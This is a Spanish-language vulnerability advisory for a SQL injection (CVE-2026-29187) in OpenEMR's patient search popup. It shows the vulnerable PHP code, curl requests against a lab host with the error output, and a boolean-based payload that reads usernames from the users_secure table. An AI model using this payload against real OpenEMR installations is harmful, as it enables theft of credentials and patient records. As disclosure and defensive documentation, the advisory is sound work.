
CVE-2026-29187: Vulnerabilidad de inyección SQL en OpenEMR <8.0.0.3
Debilidad CWE-89
Neutralización incorrecta de elementos especiales utilizados en un comando SQL ('Inyección SQL') El producto construye todo o parte de un comando SQL utilizando entradas influenciadas externamente de un componente upstream, pero no neutraliza o neutraliza incorrectamente elementos especiales que podrían modificar el comando SQL previsto cuando se envía a un componente downstream. Sin la eliminación o el entrecomillado suficientes de la sintaxis SQL en las entradas controlables por el usuario, la consulta SQL generada puede hacer que esas entradas se interpreten como SQL en lugar de datos de usuario ordinarios. Obtenga más información en MITRE.
OpenEMR <8.0.0.3 contiene una vulnerabilidad de inyección SQL en el nuevo popup de búsqueda que puede ser explotada por atacantes autenticados. La vulnerabilidad existe debido a una validación de entrada insuficiente en la funcionalidad del nuevo popup de búsqueda.
La vulnerabilidad se produce en la funcionalidad del nuevo popup de búsqueda, donde la entrada suministrada por el usuario en la columna de relevancia seleccionada y en la condición where se concatena directamente en las consultas SQL sin la sanitización adecuada. Esto permite a los atacantes inyectar código SQL malicioso.
La vulnerabilidad afecta a las siguientes líneas:
interface/new/new_search_popup.php línea 141interface/new/new_search_popup.php líneas 134 y 136interface/new/new_search_popup.php líneas 125 y 128 foreach ($_REQUEST as $key => $value) {
if (!str_starts_with((string) $key, 'mf_')) {
continue; // "match field"
}
$fldname = substr((string) $key, 3);
// pubpid requires special treatment. Match on that is fatal.
if ($fldname == 'pubpid') {
$relevance .= " + 1000 * ( " . add_escape_custom($fldname) . " LIKE ? )";
array_push($sqlBindArray, $value);
} else {
$relevance .= " + ( " . add_escape_custom($fldname) . " LIKE ? )";
array_push($sqlBindArray, $value);
}
$where .= " OR " . add_escape_custom($fldname) . " LIKE ?";
array_push($sqlBindArraySpecial, $value);
echo "<input type='hidden' name='" . attr($key) . "' value='" . attr($value) . "' />\n";
++$numfields;
}
$sql = "SELECT *, ( $relevance ) AS relevance, " .
"DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS " .
"FROM patient_data WHERE $where " .
"ORDER BY relevance DESC, lname, fname, mname " .
"LIMIT " . escape_limit($fstart) . ", " . escape_limit($MAXSHOW) . "";
$sqlBindArray = array_merge($sqlBindArray, $sqlBindArraySpecial);
$rez = sqlStatement($sql, $sqlBindArray);
SELECT *, ( 0 + ( <injection> LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR <injection> LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'https://172.18.0.3/interface/new/new_search_popup.php?mf_"=test'
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<link rel="shortcut icon" href="/public/images/logos/core/favicon/favicon.ico?t=1766556932" />
<link rel="stylesheet" href="/public/themes/style_light.css?v=81" />
<script src="/public/assets/jquery/dist/jquery.min.js?v=81" type="text/javascript"></script>
<script src="/public/assets/bootstrap/dist/js/bootstrap.bundle.min.js?v=81" type="text/javascript"></script>
<script src="/library/js/utility.js?v=81" type="text/javascript"></script>
<script src="/interface/main/tabs/js/include_opener.js?v=81" type="text/javascript"></script>
<script src="/library/textformat.js?v=81" type="text/javascript"></script>
<script src="/library/dialog.js?v=81" type="text/javascript"></script>
<style>
form {
padding: 0;
margin: 0;
}
#searchCriteria {
text-align: center;
width: 100%;
font-size: 0.8rem;
background-color: var(--gray300);
font-weight: bold;
padding: 3px;
}
#searchResultsHeader th {
font-size: 0.7rem;
}
#searchResults {
width: 100%;
height: 80%;
overflow: auto;
}
#searchResults table {
width: 100%;
border-collapse: collapse;
background-color: var(--white);
}
#searchResults tr {
cursor: pointer;
}
#searchResults td {
font-size: 0.7rem;
border-bottom: 1px solid var(--gray200);
}
.topResult {
background-color: #ff9919;
}
.billing {
color: var(--danger);
font-weight: bold;
}
.highlight {
background-color: var(--info);
color: var(--white);
}
</style>
</head>
<body class="body_top">
<form method='post' action='new_search_popup.php' name='theform'>
<input type="hidden" name="csrf_token_form" value="8d463d08b7f4e590085af22b77cfb2d3b921cb73" />
<input type='hidden' name='fstart' value='0' />
<input type='hidden' name='mf_"' value='test' />
SQL Statement failed on preparation: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patien...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/interface/new/new_search_popup.php at 141:sqlStatement
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'http://172.18.0.3/interface/new/new_search_popup.php?mf_(SELECT(username)FROM(users_secure))=ad_in%'
┌──(kali㉿kali)-[~]
└─$
Hay múltiples técnicas para explotarla; una de ellas es un ataque basado en booleanos, que funciona con el último payload:
SELECT *, ( 0 + ( (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100